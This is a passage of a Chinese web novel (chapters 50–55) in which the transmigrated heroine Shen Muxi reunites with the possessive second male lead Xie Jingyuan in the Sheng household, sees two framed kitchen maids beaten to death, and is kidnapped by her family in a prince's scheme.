那一抹她苦心寻觅多日的身影,竟就这样从那雪风里,狠狠撞进了她的眼眶!
沈木兮的双眼蹭的一下就红了!
还以为自己是在做梦!
唇瓣颤抖。
“景、景愿!”
第50章 那不是你姐姐吗?
她几乎是直接越过陶嬷嬷冲了过去!
只留下差点被自己撞去冰湖里的陶嬷嬷,一脸惊诧:“这丫头是疯了不成?”
景愿,景愿!
真的是他!
沈木兮的眼眶被泪水浸湿,几乎是喜极而泣!
真的是谢景愿!
明明隔了好一段距离,天还下着雪,可是她就是一眼便看到了。
她寻找这么久,竟没想到,他就在自己身边吗?
其实,沈木兮还是有点迟疑的。
因为那楼亭里的男子,和她记忆里的他,一点也不一样。
他穿着一身崭新的锦袍,是上好的料子。正负手立在风雪最高处,衣袂飘飘,眼神所处皆是凉薄,连眼尾都述说着他的孤傲。
这是在她跟前时不一样的他,带着一股她从未见过的气场。
恍惚了一瞬,她才意识到,这本就是他,
高冷,清贵。
他从来不是什么乡野之人,他是太子,是唯一可以和原文男主抗衡的人。
除此外,她还发现,他瘦了好多。
心里忍不住问候了一番那该死夜王的祖宗十八代!
“景……!”
就在她欣喜不已,准备大声喊出他的名字时,另一道身影出现在了他的身后。
是个女子。
沈木兮的呼吸随着此人的出现微地停滞,待看清了是个穿着贵气的娇小姐,她眼神闪烁,心中已经有了猜测。
这时,那楼阁顶的亭子上,谢景愿仿佛有什么感应一样,幽冷俯视一切的眸光突然朝着下方看来。
下一瞬,依旧是雪风飞舞,什么也没有。
他眉心微凝,眼神几分幽怨几分落寞。
奇怪。方才他明明感觉到了……
于此时的沈木兮正闪身躲在了旁边的大树后,心绪剧烈起伏着!
她怎么忘了,这里是盛家。
是女主的盛家!
那么,方才站在景愿身边那位娇小姐,便是女主了吗?
她压抑着心头涌出的情绪,再次悄悄地侧头看去。
楼阁亭子上,女子披着白狐狸**披风,衬得小脸精致娇美,正笑着在和谢景愿说话。
丫鬟瑟儿端来了一碗药,笑着提醒说:“小姐。”
那位盛小姐微笑接过。
出乎意料的,谢景愿看了眼那药后,竟没有表现出反抗,一点点乖乖喝了下去。
沈木兮惊讶极了!
以前自己喂他的时候,那可是好生费劲,非得她巴巴守在他床边,不停哄着,哄半天了才肯喝下一小口。
不知为什么,她眉头绞起,心里突然有点不是滋味……有一种自己养大的白菜,被旁人给拱了的错觉。
这时,喝药中的男子,又朝着她的方向望来。
沈木兮再一次缩了回去!
再次看了个空,谢景愿幽眸中的阴鸷更浓,神情也愈发的古怪。
沈木兮这头,心情也没有好到哪里去。
她的目标,一直就是为了苟活,为了扭转剧情,为了自己不被男二虐杀……
现在终于达成所愿,让谢景愿来到了女主身边,还被女主如此关心照顾,她理应是高兴的。
可……沈木兮低下头,看着脚边不知何时被她用力碾着的雪,抬手抹了眼角淌下的那滴泪。
她再次回头。
从各种小细节,看得出来,这位盛小姐,是真的在关心他,照顾着他。
不然这才几日功夫,谢景愿也不会那么快能下床了。
若,女主真能好好的待他,给足谢景愿所需要的一切关怀。
那么,她是不是可以,不用再出现在他的面前了呢?
若是要离开,她要不要现在就出去,给谢景愿告个别……告诉他,自己一切都好,让他安心留在这呢?
记忆里,男二是自行回的宫。
后面的剧情,她也没有必要再去参与了。
她从未想过去改变整本书的走向,因为那并非她一人力所能及之事。
可迟疑了许久,最后的最后,沈木兮在大树后站了都快一炷香,直到那楼阁上的人都走了,她也没有踏出那一步。
真的有告别的必要吗?
现在谢景愿正在一点点回到了原本的轨迹,她何必又再出现打扰呢?
沈木兮在外面站了许久,像是打定了主意,默不作声地回去收拾起了自己的行囊。
等等……
若是女主待景愿不好怎么办?
原文两人相见要晚一些,不过在原文中,女主的确是在失忆期间,才和谢景愿结识。
虽然等女主恢复记忆,即便知道夜王的真面目,也可能会按照原作者的设定,继续爱男主爱得死心塌地。
但在前期时,女主给了谢景愿善意和温暖,加上她提前一两年的掰正,谢景愿当是不会再走向那段黑暗之路了。
可谁能保证眼下的这段时间里,谢景愿在女主这不受委屈?
还有那个夜王,远的不说,就说现在他肯定一直在寻找景愿
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的踪迹。
她就这样一走了之,怎能真的放心?
这一纠结,便是纠结到了晚上!下定决心风风火火的回来,却连半个包袱都没打包好。
沈木兮坐在床头,双手撑着下巴,实在对自己无语。
她这**病又犯了。
在猎林时便是如此,每次说搬出去单独住,可每回都狠不下心。
可这次不同了,她必须走。
那……就再多留几日吧。不惊动人。
若是这两日里,确定女主是真心待景愿,她也能放心离开,不是吗?
像是终于为自己的留下找到了借口,沈木兮长舒口气,赶紧把收拾了一半的包袱重新规整,神清气爽的回了后厨房。
陶嬷嬷正因为先前沈木兮跑走的事窝火呢。
几个小厨娘还在她旁边你一句我一句的撺掇。后厨房里的气氛十分不好。
沈木兮知道是自己的不对,很诚恳地给陶嬷嬷道了个不是。
“不是就算了?真是没规矩!”
“就是,嬷嬷啊,别和她计较,她就是个乡野女子!”
几个厨娘你一句我一句,沈木兮听得满脸黑线。
作为一个炮灰女配,也有女主般哪哪都不受人待见的待遇,怎么不算是天赋呢。
陶嬷嬷在沈木兮道歉的时候就消气了,但是碍于作为厨娘管事的身份,她还是得做出表率。
“知道错了就好!后厨房的东西不够用,等送来都要明日了,你出去帮着购置东西吧。”
只是买东西?
外面的雪已经停了,这算什么处罚。
看出陶嬷嬷的有意偏袒,其他人却只能在心里暗暗不爽。
沈木兮看了眼陶嬷嬷,心中还是很感激的,陶嬷嬷没有李管事的油腔滑调,时不时还有些严肃,但心地很好。可惜,她并不想暴露身份,嬷嬷对她的期许,怕是要落空了。
不过若是可以的话,等离开时,她会写一个菜谱留下。
沈木兮这边出府买东西去了。
不远处的酒楼上,一群京里的富家阔少爷们,正在喝着热酒。
“咦,沈庚,那不是你姐姐吗?”
沈庚喝得醉醺醺的:“我姐姐?你眼睛是瞎了还是怎么,这么冷的天,我姐姐好端端的在家中,怎会跑出来。”
“谁瞎了,你看啊,那不就是你那个嫁了人,还成了寡妇的姐姐!”
寡妇?
沈庚的酒意顿时清醒了大半,一骨碌起身朝外看去!
第51章 共处一室,别怕阿兮
虽然只有一个闪身的背影,但沈庚却像是打了个激灵。
先前在江州乡下,他被沈木兮折磨欺负,还被淋了浑身粪水的事,此刻还在脑海中历历在目!
可是沈木兮怎么来京城了?
看她的穿着,好像是谁家府邸里的丫头。
沈庚眼珠儿转了转,丢了酒杯,赶紧跑了。
其实他并不常来这边,沈家虽然住在京城,但京中是分为三六九等的,沈家只是一般的富商,实在排不上号,住得也是偏僻的街巷。他也是得了朋友的相邀,才有机会来这的。
“娘!娘!你猜我今日看到谁了!”
回去后的沈庚,直接把事情给林氏说了。
林氏一听沈木兮来了京,第一个反应是惊讶,第二个反应便是想跑!
生怕她是来找自己要银子的。
上次吃的瘪,她可没忘!
却听沈庚说,沈木兮穿着丫鬟的衣服,应当是在谁家府邸里当丫头。
林氏一听她居然过得这么凄惨,方才的担心瞬间消失,笑得那是合不拢嘴!
“真是老天有眼啊!”
沈庚点头附和,一脸痛快:“是啊,那丧尽天良,又胳膊肘往外拐的赔钱货,终于受到报应了!”
“她肯定是在乡下待不下去了,才跑来京城!”
林氏面色却是又严肃了几分。
只是去当个丫鬟,这可解不了她心头的郁气。
要知道从江州回来后,她这口气可是憋到了现在也没下去。
林氏一拍桌子:“哎呀,这可是个老天爷送上门的好机会啊!”
沈庚有些茫然。
“娘,什么好机会啊?”
当然是把上回栽的跟头,都从那女人身上讨回来了!
林氏心中冷笑:“这件事,为娘的自有计较。”
不过有了上回栽得跟头,她这回可得好好盘算盘算。不会再那么心急了。总归人在京里,还能跑了去?
……
沈木兮回了盛家。
便听说夜王又来了。
昨日不是才来吗?
记忆里,夜王对女主可没有这么关心。
显然是醉翁之意不在酒。
碰巧北辰殷刚走,他就来了。
莫不是,昨日她还是被夜王发现了?还是说……他是为了谢景愿而来!
一想到这,沈木兮顿时不淡定了,丢了柴火,无视后厨房里异样的目光,撒开脚丫子往外跑了出去。
如沈木兮猜测的,北辰晔的到来,并非是偶然。
先前他看出来九弟对自己的话有所隐瞒,也派人去九弟说的那个地方找过,什么人都没有。
知道北辰殷不愿说,他也不好做得太明显。
便让人私下跟着北辰殷。
本来北辰殷前来探望盛苒是很正常的事,可自打认识了那乡野女子,九弟就很少去找盛苒了,昨日去盛家他也没多大兴致,怎偏今日又去了?
北辰晔多深的城府,当即就想到了什么,这就来了。
他正在管家的带领下前往后院。
盛苒喜欢北辰晔的事,谁都知道,荣安郡主也有心让盛苒嫁给北辰晔。
奈何北辰晔对她时冷时热,这次频频主动前来探望,盛家的人自是高兴,也不顾他是外男,直接就把人领着去听雨轩了。
沈木兮走的小路,先一步到了。
她已经不打算出现在谢景愿身前,本想让人代自己进去传个信,可四周一个奴才也没有。
眼见着北辰晔要来了。
沈木兮跺了跺脚,也管不了那么多,自己冲了进去!
里面静悄悄的,盛小姐并不在这。
转了一圈,也不见其他人。
而外面的脚步声也逐渐逼近。
这下她是真急了。
消息没传到,倒是把自己给卖了,奶奶的!
“夜王殿下,请。”是管家的声音,以后在门口了。
人已经在外面,她现在跑是不可能了。
就在这时,有人捂住了她的嘴,勾着她的腰窝,将她轻巧地带到了里屋,和他一起躲在了床帘后。
帘子随着他发丝轻落下的瞬间,她清楚嗅到了他身上的药味和残留的血腥气。还有那随着他的动作,伴随在她耳后,属于他的湿热呼吸。
沈木兮眼神顿时变了,还有点慌乱,身子也开始颤抖……是紧张,也是激动!
到底是她找了这么久的人,终于相见,怎
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会不激动呢?
即便做好了不再相见的准备,可到了这一刻,她还是雀跃的。
知道自己再也躲不了了,沈木兮闭了闭眼,终是接受了这个现实!
随后第一个反应便是!
他们这么久没见,他会不会以为是她不去找他,她又丢下他了?然后生她的气!心中又生出了那些……
“景……”
“别怕,我在这,不要怕。”
是熟悉的安抚话语,没有一点的生气,倒是有些委屈,但还是带着那股熟悉的安全感。
让她回想起,在猎林大半年里的每一夜,他几乎都会下山来接自己。带她回家。
有时候她都在想,倒不像是自己养他,反而像是她在被他养着了。
这时,外面夜王已经出现了。
正好盛苒也从外回了屋子。
盛苒见到夜王,先是紧张地看了眼屋内,见里面的人没被发现,稍稍松口气。
“见过殿下,我的身子已无大碍,夜王殿下不必如此大费周章。”盛苒垂着头说。
北辰晔今日只是借着来看盛苒的由头前来打探,可盛苒那冷冰冰的样子,却是刺到了他。
不过他只以为盛苒是在故意欲拒还迎,轻笑说:“昨日没见到你,到底是不安的。现在看你无恙,我也安心了。”
他说着朝盛苒走去。
对于盛苒来说,失去了对夜王的所有记忆,她本应该带着抵抗的。可不知怎的,夜王的靠近,她的身子并没想象中的反感。
她一瞬的呆滞后,北辰晔已经抬手摘下了她发髻上的那根枯枝。
“这么大的雪天,就别出去走了。小心冻着。”
可能是凑得太近,盛苒小脸隐隐发热。
此刻躲藏在里面的沈木兮,也觉得面颊开始滚烫了起来……
这床帘后的位置狭窄极了。
以前只知道他比自己高了不少,现在这样挤在他怀中,才知道她在他怀里竟是这般娇小。
她双脚都几乎是离地的,才能努力地攀住他。
更要命的是,他为了护着自己,手肘还撑在她面前的柱子上。
沈木兮那起伏的,就这样抵着谢景愿的手背……
第52章 和她贴在一起
沈木兮的心跳乱得已经没有章法!
脸红如血,都不敢大口呼吸了。
她很想挪开一点,虽然是亲人,可……他到底个大人了,这样实在不合适。
但她又怕惊动外面的人,不敢随意动弹,一时间只能这样攀紧他的紧致腰身僵持着。
外面,盛苒在北辰晔面前的失神不过是一瞬,她皱眉道:“谢过殿下关心,我已经无大碍了。若殿下没什么其他的事,就请吧。”
北辰晔眉心一皱,觉得盛苒这次实在是太过了。一次就算了,次次如此,生气也有个度。他都放帝姿态了,她何须还这般做作?
原本他还想打探沈木兮的消息,可现在顿时就没了兴致。
这也是他第一次在人前如此失态和意气用事!
“如此,今日倒是本王来错了!那就不打扰小姐了!”
北辰晔被气得甩袖离去,盛苒看着他的背影,似是想叫住他,可那始终空荡荡的脑海,却让她欲言又止,迈出去的步子也收了回来。
瑟儿过来关心的说:“小姐……”
盛苒揉着眉心。
“我没事。对了,那个公子呢?”
她这才想起谢景愿。
瑟儿赶紧进屋找去,可是把屋子里前前后后找了个遍,也没有寻到谢景愿的身影。
“小姐,那公子不见了!”
盛苒脸色一变。
谢景愿被她捡回来后,就一直跟着她……至少,在盛苒的眼里就是如此。毕竟连出去都是她亲自陪同的。
这番突然不见,让她眉心紧皱,心中略微不安。
瑟儿低声说:“小姐,那公子是个生脸,还长得那么好看,出去了不说,被其他人盯上了怎么办?府中其他小姐也不是吃素的……”
盛苒却听越不是滋味,仿佛前一秒,她并没有在为夜王的离开黯然伤神。
是她救回来的人,怎能被旁人盯上?
“快去找,去找。”
此时,听雨轩后面被树影遮挡的小凉亭里,不知道自己是怎么出来的沈木兮,正在冷风中大口呼吸着。
“不舒服吗?”谢景愿贴心地蹲下来,给她拍背。
那无害的纯白模样,让沈木兮心中生出的疑窦瞬间消失。
方才,她差点就怀疑……在床帘后,他是故意的!
里屋中那么多的角落,怎偏偏选了个最狭窄的。还有不得已的紧贴姿势……
她正想说什么,谢景愿缓缓又半跪在地上,亲手给她擦去她鞋子上的雪和湿土。
乖巧的不行。
哪里有之前在楼阁亭上所见,那俯瞰一切的冷傲气场。
直到他觉得那鞋子干净了,他才抬起氤氲着一团雾气的眼眸,仰头望着她,狐狸眼里带着一丝可怜。
“阿兮,对不起,是我让你担心了。你不要丢下我,好不好。”
他的身上被其他女人碰过,沾着其他女人的味道,他都嫌弃自己。
她肯定也是因为这件事,才会躲着他。
那他就更乖一点,她便不会丢下他了,是不是?
沈木兮咽了口唾沫,若非知道他后期是个什么样子,可能真的就被他这如可怜小兽的模样给忽悠了去。
但无法否定的是,他的眼神真的看起来清透圆润,纯白得不像话。
至少在她面前是这样。
她也信他的乖巧。
因为在沈木兮看来,在她无微不至的照顾和改变下,谢景愿已经变了。而之后,她这具身体的命运,也不会再重蹈覆辙。
“快起来,我……我没有说要丢下你啊。”沈木兮说这句话的时候,有点心虚的偏过头。
“阿兮,那我们接下来去哪里?”谢景愿盯着她,眼神欣喜又轻柔地问。
他竟是以为,自己来接他的吗。
她心里更不是滋味起来。
“景愿,你知道吗,我们终究是会分别的。”
感觉到了他气息的变化,沈木兮赶紧解释。
“我的意思是,你已经长大成人,今后会有自己的路,会有属于你的一家人。你……终会娶妻生子的,难道你没想过这些吗?”
谢景愿实在听不懂她这话。
他们,不就是一家人?
还有娶妻生子?
妻吗?
他很郑重地凝视着她,狐狸眼尾勾着那抹熟悉的湿红。
一时只觉得这话,更是没什么问头。
“你去哪儿,我就去哪儿。”他笑着说,无害又单纯的模样,让人忽略了他眼底的深邃幽光,更无法将这句话和那庄重的誓言联系到一起。
沈木兮呆住了,是她低估了谢景愿对自己的依赖。
他的确太缺爱了。
依赖身边最亲近的人,也不意外。
这种依赖,若是以前还在猎林时,她肯定是高兴的。可现在到了京城,她心中只觉得隐隐不安。
但现在事已至此,她也不能再继续躲着他了。
“景愿,我现在还不能带你走……”憋了半天,她才找到一个合理的解释,“我被赶出了皇子府,身上也没多少银钱了。你还有伤,就先在这调养,反正我们在一个府邸里,时时能见面,等过段时间,再决定去哪里,好不好?”
她问得小心翼翼,生怕他不答应,或
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是看穿自己……
没想到……
“好。”
沈木兮都被他回答的迅速给惊到了。
她意外地抬头。
“景愿,你真的愿意听我的?”
谢景愿眸中写满不解,皱眉反问:“为什么不听?”
他早就说过了,她想去哪里,又不去想哪里,我都愿意的。
她怎么就忘了?她不该忘的。
谢景愿眼神悄然流露出一抹暗淡和不悦的戾色。
果真,她是离不开他的。
没有他,她什么都做不好。
若是可以,他真想把时时她锁在自己身边,让她只看他一人,只和他说话,让她这双眼里看到的人,就只有他。
那么,她便再也不会忘了他说过的话。
旁边对他心中所想全然不知的沈木兮,因着谢景愿表现出的懂事,心里已然是内疚极了。
她别过身,努力让自己的声音听起来平静。
“好,那你先回去。我也要去后厨房了。京城不比在猎林里,你别随意乱走动,我一得空就会来看你的。”
为了不让谢景愿看出自己的异样,沈木兮说完就头也不回地走了。
等到离开一段路途,她才驻足回头看去。
他真的乖乖听她的话,在她离去后,转身回了听雨轩。
沈木兮呼出一口气,赶紧也走了。
殊不知,那道身影在她转身后,一路尾随跟着她,暗暗目送着她是真的回到了盛家的后厨房,而不是去了其他的地方,或是离开。这才离去。
听雨轩这边,盛苒找了谢景愿许久,终于看到了他回来的身影,她长舒一口气,小跑着出来。
“你去了何处?”
谢景愿原本清亮圆润的瞳孔,在盛苒出现的那一刻,就恢复成了以往的幽光四伏。
那举手投足间,自然流露出的阴渗压迫感,让盛苒不敢再上前。
他停在三米之外,看似很有礼貌,却仿佛隔着一道屏障,细长妖冶的眼尾,噙着冬日寒霜:“出去走了走,不劳小姐多心。”
他说完就进了屋。
不知为什么,盛苒觉得谢景愿比起这两日好像变了些,之前他就这样拒人千里,不喜欢和旁人接触。可现在好像更是变本加厉了。
这种感觉,让她很是不舒服。
莫名……有点不甘心。
他到底去了何处?
他在盛家只认识自己,出去那么久,难不成,真是见其他人了?
谢景愿进去后,出去找人的瑟儿回来了,急声对盛苒附耳道:“小姐,我知道这公子这趟出去,是去见谁了!”
第53章 半夜**个厨娘……
“是谁?”盛苒的眼中多了几许她失忆后不常有的冷幽,几分像极了以前的样子。
瑟儿压低声音说:“其实奴婢也不确定那个人是谁,可公子是从后花园那边回来的,正巧,方才奴婢去那边找过,看到一个丫头离开。算起时间来,一定和她脱不了干系。”
“虽然看不清脸,但奴婢从衣服看得出来,她是后厨房的人!”
因为那条路是小路,寻常的丫头都不会从那回去,偷偷摸摸的,总之定有猫腻!
本以为是她那几个庶妹听到了风头,没想到是个后厨房里的厨娘丫鬟,盛苒不甚在意,但还是有些不悦的。
区区一个小丫头,也想打她身边人的主意?
盛苒温柔平静的脸出现了波动。
但又有些失落。
只是尚且不知道那个人是谁,不好捉出来。就算是揪出来了,她又不能暴露谢景愿,平白把丫鬟处置了。
高门府邸,尊卑分明,但也讲究规矩的。
瑟儿眼珠儿一转,有了主意:“小姐,奴婢有个法子。”
……
是夜,后厨房里忙得热火朝天。
沈木兮正在和其他人一起忙着今夜的晚膳。
有人传话来说,大小姐身子还未好全,让人把饭菜继续送去听雨轩。今夜还另外多点了几道菜。
以前这些事,都是沈木兮去做。
可今夜听雨轩要的菜那么多,她一个人送,不太想去。
虽然借着送菜的功夫,可以去看看谢景愿,但顶多是瞄两眼,连句话都说不了。
她才不想去当这个冤大头。
心里这么想,可沈木兮脸上却是乐开了花。
“好啊好啊,我等会儿就送去!”
见她这么高兴,连步子都是欢快的,旁人一直偷瞄着她的那两个小厨娘,好奇地撇嘴问。
“去送菜你高兴个什么?”
沈木兮嘿嘿笑说:“我们整日在后厨房里做事,难得能出去。今夜小姐要这么多东西,能来来**出去数十次呢,我怎能不高兴?”
那两个小厨娘对视,突然也意识到了什么。
是啊,这去听雨轩送东西,要经过前院小道,还得从后院转一圈,这可是抛头露面的好机会。
两个人顿时不依了,堆起满脸的笑,上前一人挎着沈木兮的一只胳膊:“哎呀,沈姐姐,你一天到晚的做事,不累吗。正好今夜是老厨娘坐镇,我们没事,就让我俩帮你去送呗。”
沈木兮啊了一声,皱皱眉:“这不太好吧。”
“好得很好得很!放心,我们不会要你的月银,就帮你点忙。”
“你想想看,这来来**数十趟,你多累啊?”
沈木兮还是很苦恼的样子:“可是若被陶嬷嬷发现了……”
“放心,我们不说,没人会告诉她的!”
她要的就是这一句。
沈木兮像是真的被劝服了,认真思索一番后点头:“那也行,就交给你们咯。”
她丢开抹布,转身走了。
看着她那哼着小调,背着双手潇洒离去的背影……小厨娘两人对视,总觉得哪里不对劲,还觉得背心凉嗖嗖的。
最后得出结论,这女人是个傻子!
被她们坑了还这么高兴,真是蠢得要死!
两人一扫方才的古怪错觉,兴奋的去送菜了。
高门里的丫头,都想飞上枝头,嫡公子没戏,不还有庶子吗?哪怕能当个小通房,都比在这后厨房里窝一辈子强。是以两人送菜前,还特意打扮了一番。
一边去,还一边在心里骂沈木兮愚蠢不堪,这么好的机会都空手送人!
而另一边的沈木兮偷了闲,吃饱喝足后回了屋子,好好的睡上一觉。
自打谢景愿失踪,她就没睡过一次好觉,现在见到他还算安然无事,风波也暂时消停,她总算能回到以前的米虫生活。
次日一大早,天都还没亮,外面便吵吵嚷嚷的。
睡眼惺忪的沈木兮起身,披了身衣服往外瞅。
传来声音的是后厨房,她们这些后厨房的丫头住的就在厨房旁边的小屋里。也是到了这时,沈木兮才发现,和自己同住的那两个小厨娘,昨夜就没回来过。
不知为何,看着那空荡荡的床榻,她心里有种很古怪的感觉。
她的直觉从不骗人。
一定是出事了。
出去打听一番,才晓得,原来是昨夜有两个厨房里的丫头,偷了小姐的东西。
人赃俱获。
直接被夫人给正法了。
沈木兮听得呆住了。
大清早的天,雪堆得府院满地。
而那两个小厨娘的尸体,就这样被人随意丢在了树下雪堆里,用个破凉席盖住。
说是被木棍给活活打死的,两人一直在喊冤,死前嗓眼里都喊出了血珠子,而那露出来的双手双脚,满是棍棒的痕迹。
等待她们的最后结局,大抵是被人丢去城外的乱葬岗,或者随便找个沟壑就处理了。
沈木兮虽然在这个异世里待了快一年,但她一直都在偏远乡下,那里的人最多只是嘴巴不饶人,心地不坏。
这是沈木兮第一次,感受了尊卑权势带来的威压。
也是这一次,知道了什么叫做命如草芥!
她的背脊一点点泛起寒意。
可是不对啊。
那两个小厨娘,平日虽是爱针对她,但并不是个贪心的人。昨日那两人只是想攀龙附凤,再者,若是要借着送菜的功夫去偷东西,也太明显了些。
这件事,没这么简单!
如若真如她所想,她
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们是被人**……沈木兮更觉得可怕!因为,昨夜若非她们两人硬要抢着替自己去,出事的,岂不就是她了?
这时来了几个人,把两个小厨娘的尸体随意裹了裹,抬着从后门丢了出去。
沈木兮想着她们到底是替自己挡了一劫,在尸体被丢去后门外时,她悄悄跟了出去,拿了两床被褥,盖在她们的尸体上,也算是留给两人最后的体面。
准备回去时,盛家正门方向传来声音。
沈木兮本不想多管,但隐隐听到了“大小姐、夫人……”
她眸光微动,悄悄走出巷子,看去了外面的盛家大门。
昨夜才杀了两个奴才,可盛家的夫人却像是个没事人一样,秉着贵妇人的派头,在丫鬟的搀扶下上了马车。
也是,在她们这些权贵高门的眼中,奴才不就是蝼蚁吗。
碾死一只蝼蚁,她最多只会觉得脏了手,而不会有半点怜惜。
在盛夫人的旁边还跟着那个盛小姐,一样的盛装打扮。
听着对话,两人像是要去上香。
刚杀了人,就去上香……沈木兮想着后巷子里的两具尸体,不觉有几分讽刺。
她眼神继而落在盛小姐的身上,进府这么久,除了上次在楼阁亭下,看到了这位小姐的侧容,就没真正看过她的样子。
这看着看着,沈木兮突然觉得有几分眼熟。
她想起来了!
年前,夜王和九皇子第一次来江州时,身边跟着一对男女。
原来,她就是女主!
当时沈木兮对这两兄妹的印象并不好,只觉得他们既做作又阴险,和夜王是一个路子的人。
还记得那次,在猎林时,有人把九皇子被挨揍的消息告密给夜王。
她留了个心眼,私下去问过猎林的里的人,那里的人说,当天只有那个随行的千金小姐去过栈道附近。
有这样的前科,那昨夜出现小厨娘的事,也不足为奇了!
沈木兮本以为原作者笔下的夜王就已经够毒了,没想到,还有个大雷!
不好!
谢景愿还在她身边!
沈木兮一想着女主是这个德行,她还主动把男二留在她身边,就想扇自己一巴掌。
这样的人,会对谢景愿好?
别把她费尽心思掰正养好的男二,给带坏了!
沈木兮想也没想,便要准备回去收拾东西。
她要离开这。
不止她走,还要带谢景愿走。
至于今后的事,沈木兮抿紧双唇……先等离开这后再行说吧!
至少现在,绝对不能让谢景愿待在这了。
正要从后门绕回去,偏偏一道熟悉又不善的声音,阴恻恻地出现在了后巷外。
“沈木兮!果真是你,我那日当真没看错!”
第54章 被擒
沈木兮回头看去,在见到沈庚那张满是横肉的脸时,脸色顿时阴沉了下去。
“沈庚?”
她倒是忘了这一家子。
不过沈家人住在京城偏僻街巷,竟不知是何时见到她的。
她也没工夫和这人拉扯,沉声道:“今日我没时间搭理你,你识趣儿的话就走吧。”
沈木兮的眼神还是和一年前一样的犀利。
沈庚是打心眼里怕她的,脖子一缩,可是又想到了什么,他笑了笑,又不要脸的走了过来。
“我说赔钱货,咱们好歹是一家人,你来了京中,都不来看看娘和爹吗?”
娘?爹?她冷笑。
先不说原主的恶劣,就说林氏对原主的狠辣无情,还有那个爹对她的不闻不问,她都怀疑原主不是这两人亲生的!
沈木兮抄起墙边的棍子,就要朝着沈庚招呼去。
沈庚被打得气急败坏!
“沈木兮!我乖乖请你你不走,你会后悔的!”
“告诉你,别再来了。”
沈木兮丢了棍子,拍拍手上灰土,刚准备转身。
突然间感觉背心爬满一阵恶寒。
她正觉得不对劲,想转身看去,后颈突然一痛!她捂住脖子,直直倒在了雪地里!
昏迷前,只记得沈庚那满身肥膘又恶心的身躯正朝着自己走来,而在他的身边,还有一个人!
难怪沈庚敢跑来找自己,原来带着帮手。
想看清另一个人到底是谁。
她眼前一黑,什么也不知道了。
……听雨轩,谢景愿负手站在窗边。
雪风下他身形颀长,宽肩窄腰,已然完全褪去少年青涩,周身的气场和锋芒越发难以遮掩。
他望着外面又下起来的大雪,阴鸷高耸的眉骨下一片戾色。
才一日没见到她,他就觉得心里好难受。好像自己的肉体都要坏掉了一样。
眼看着外面的雪越来越大,她今日大抵是不会来了。
他好看的唇紧抿着,明明是在生气的,可那樱粉唇珠上的一点雪雾晶莹,反给他的薄怒染了一丝欲色。
昨日她说,让他乖乖在这等着,她得空会来找他。
他知道她不想让人知道他们二人认识,甚至很希望他继续留在盛家。
他也不管是什么原因,也丝毫不在意。
甚至庆幸,庆幸他可以满足她。
只要他还能满足她的欲望。
那她就永远不会丢弃他。
况且白日人多眼杂,他不想去惹她不高兴。
想了想,他还是抑制住去后厨房见她的念头,收回迈出去的脚,神情漠然地转身回去。
殊不知,此刻的沈木兮,早已经被人带到了一处昏暗地方。
被人重重摔去地上。
沈木兮直接被疼醒了!
醒来才发现,自己双眼被人蒙上,连手也被捆住。
耳边传来沈庚熟悉的声音,他还踹了踹她。只因他实在胆怯自己,连踹也只敢轻轻的。
“哼!赔钱货,看你怎么能,还不是落在了我的手里!”
他又对旁边的人说。
“给,这是你的酬劳!”
声音越来越远,沈木兮很快就听不到了。
该死啊,她没想到沈庚这大胖傻子,这次居然如此来势汹汹,也比以前有脑子了!
抓她之前,还知道先降低她的警惕,再行动手。
这样一想,沈木兮越发觉得这次沈庚的出手有些奇怪,不太像是沈家人的行事风格。
沈庚又偷偷淬了沈木兮两口,确定沈木兮逃不了后,哼一声转身去了旁边的屋子。
林氏正坐在屋中,见沈庚回来传信息说事情办妥,她满意地笑了。
“办妥了?”
沈庚累得够呛,一来就大口喝着水:“妥了妥了,那**就在隔壁屋子!”
“娘,你都是在哪里找的人啊?还真够厉害的。”
说起这件事,林氏也觉得稀奇。
她自从查清沈木兮在盛家后,就开始准备了。奈何她也对付不了这贱蹄子,之前吃过亏,心里发虚,得想个万全之策。
正想着呢,就听卖菜的大娘说,她认识一个人,只要给银子,什么事都能替你做好。
林氏知道大娘说的是那些亡命之徒,也怕沾惹上了不好,可现在也没其他法子,这才有了计划,开始着手。
“这些事你就不用管了。”林氏亲昵地抚摸着儿子的脸,
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“等把这蹄子卖了,就把银子给你和你其他姐姐妹妹当嫁妆和聘礼怎么样?”
林氏其实一点也不重男轻女,除了对沈木兮不好,对其他儿女,都宠得不行。
连沈庚都觉得奇怪:“娘,那个沈木兮是不是不是你和爹的孩子啊?我从小就听旁人说,她和咱们家的人长得一点也不像。”
可不是不像吗?
沈庚胖成了球,其他沈家姐妹也是胖的胖,丑得丑,到现在都嫁不出去。
只有沈木兮一个,长得水灵,从小就被人夸,才满十三就有人来上门提亲。
林氏像是回忆起了什么,眼底流露出一丝冷色,轻哼了一声:“她啊……”
正想说什么,屋外传来一声响动。
林氏住了口,狐疑地看去外头。
沈庚起身要走过去查看。
刚起身,两人突然间晕了过去。
随着二人的倒地,另一道人影走了进来。
乔装成江湖打手的冷刃,先是看了眼桌上两人喝剩下的茶水,再看去地上如死猪的沈庚和林氏,恭敬地迎着身后的男人。
“王爷。”
北辰晔从外走了进来,他看也不看地上的人,坐在了上首。
冷刃冷笑说:“还是王爷想得周到,利用这沈家人,即便被人发现,也怀疑不到咱们身上来。”
北辰晔接过身边人端来的新茶,浅抿了一口,暗光下他的眼神一片幽深。
也是碰巧,他在监视盛家时,沈家人也跑来盛家附近找人,经过调查,才知道是沈木兮的家人。
他当然不会自己亲手抓人,北辰晔最是在乎面子。若被人知晓,他堂堂亲王,去抓一个无辜百姓,这脸面还要不要了?
“既然人都抓到了,那咱们接下来,要怎么做?”冷刃问。
北辰晔好整以暇坐着,戴着玉扳指的手,在桌上有频率的一点点敲着,笑意幽深。
“等。”
他,一定会来的。
是夜,雪越来越大。
盛家听雨轩,有某种感知的谢景愿,豁然抬起头!
幽冷刺骨的瞳孔,仿佛穿透了外面的风雪,穿过了无数高墙,和那酒楼里优雅端坐的高贵男人对视!
第55章 他来了!
外面风雪依旧,而那股压着他身心一整日的不适感,越发的强烈了。
谢景愿收回眸光,暗自凝眉。
都过了这么久,雪都停了,她为什么还不来找他?
她从来不会这样的。
他也不知道她是失约,还是不想理他了。
他只知道,再见不到她,他真的要死掉了。
谢景愿一句话没说,径直走了出去。
盛苒刚和盛夫人上香回来,一来就看到谢景愿大步出来。
“你去哪儿?”不同以往的温柔,此刻盛苒的话里,带着明显的质问和不悦。
谢景愿冷冷目视前方,看也没看她。
盛苒顿时转身抬手拦住他:“你不许出去,听到没有!”
经过昨日的事,盛苒越发不想有人出现在谢景愿身边。这是她捡回来的人,凭什么要被其他人沾惹?
他终于抬起额前碎发下的冷眼。
